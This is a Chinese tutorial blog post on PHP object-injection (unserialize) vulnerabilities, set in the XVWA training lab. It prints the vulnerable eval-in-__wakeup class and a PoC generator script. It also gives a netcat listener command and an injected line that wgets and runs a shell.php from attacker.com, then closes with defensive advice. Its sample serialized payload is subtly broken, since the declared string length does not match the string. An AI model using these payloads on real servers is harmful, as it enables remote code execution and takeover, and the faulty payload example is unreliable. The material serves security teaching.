PHP对象注入漏洞原理分析与利用

七月
七月
发布时间:2026-10-13| 2人浏览过
原创

本文重点探讨由PHP反序列化引发的高级代码执行风险。当应用直接对不可信数据调用unserialize且存在可利用的魔术方法时,攻击者可构建特定序列化字符串,进而触发__wakeup等方法中的危险逻辑(如eval),最终实现远程控制。

漏洞原理与特征分析

PHP对象注入(PHP Object Injection)是反序列化漏洞的一种高级表现形式。其核心在于应用将未经验证的输入直接传递给反序列化工具,若全局作用域中存在符合特定结构类的定义,即可控制该对象的属性或行为。

关键检测点:

  • 序列化入口:参数值通常表现为类似a:2:{i:0;s:...}的PHP原生序列化格式。
  • 执行上下文:反序列化后的对象被用于数据库查询或模板渲染。
  • 危险调用:对象中包含了可直接执行系统命令或脚本的方法(如system, eval)。

代码审计与漏洞定位

通过分析典型的测试环境代码(如XVWA项目),我们可以清晰地看到漏洞产生的完整链条:

首先,程序从请求参数中获取原始数据并进行反序列化:

$var1 = unserialize($_REQUEST['r']);

随后,系统检查返回结果是否为数组:如果是,则拼接输出;如果不是(例如返回了自定义类的实例),程序会继续处理该对象。关键在于类内部定义的__wakeup魔术方法:

class PHPObjectInjection{
  public $inject;

  function __wakeup(){
    if(isset($this->inject)){
      eval($this->inject);
    }
  }
}

分析结论:只要我们能通过$_REQUEST['r']构造一个PHPObjectInjection类的序列化对象,并将其注入到系统中,反序列化过程就会自动触发__wakeup。如果$inject属性中包含恶意PHP代码,将被eval直接执行,从而导致服务器被控。

构造恶意Payload进行利用

为了验证该漏洞并演示如何利用它获取远程主机控制权(Remote Shell),我们需要绕过正常的序列化流程,手动构建特定的对象序列化字符串。

第1步:编写PoC脚本生成序列化字符串

由于PHP标准库中的类不支持直接导出public变量的默认构造逻辑,我们可以在本地创建一个辅助脚本,自动生成针对该类结构的合法Payload:

<?php
class PHPObjectInjection {
    public $inject = "system('whoami');"; // 这里填入要执行的命令
}
$payload = new PHPObjectInjection();
echo urlencode(serialize($payload));
?>

生成的Payload示例:

O:18:"PHPObjectInjection":1:{s:6:"inject";s:22:"system('whoami');";}

第2步:配置反弹Shell (Netcat)

为了在成功注入后获得交互式命令行访问权限,攻击端通常需要监听一个TCP端口:`nc -lvvp 1234`。然后将反弹Shell的URL配置进Payload中,替换掉原有的system()调用:

$inject = "system('wget http://attacker.com/shell.php&&php shell.php');";

第3步:实施攻击

将生成的序列化字符串作为r参数的值发送给目标URL。完整的攻击链路如下:

  1. 目标网站接收HTTP请求。
  2. 调用unserialize()解析Payload。
  3. 检测到PHPObjectInjection类实例,自动运行__wakeup。
  4. 变量$inject被执行,发起对外部文件的下载或直接执行反向连接。

防御措施与总结

此类漏洞的本质是对不可信数据的盲目信任。最佳实践包括:

  • 杜绝动态反序列化:尽可能避免使用unserialize处理用户输入的数据。
  • 替换存储格式:对于需要传输结构化数据的场景,优先使用JSON等纯文本序列化标准。
  • 严格类型限制:如果使用第三方反序列化插件库(如JSON deserializer),请明确指定允许反序列化的具体白名单类名。

以上就是PHP对象注入漏洞原理与利用的详细内容,更多关于PHP安全开发防范的资料请关注本站其它相关文章!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。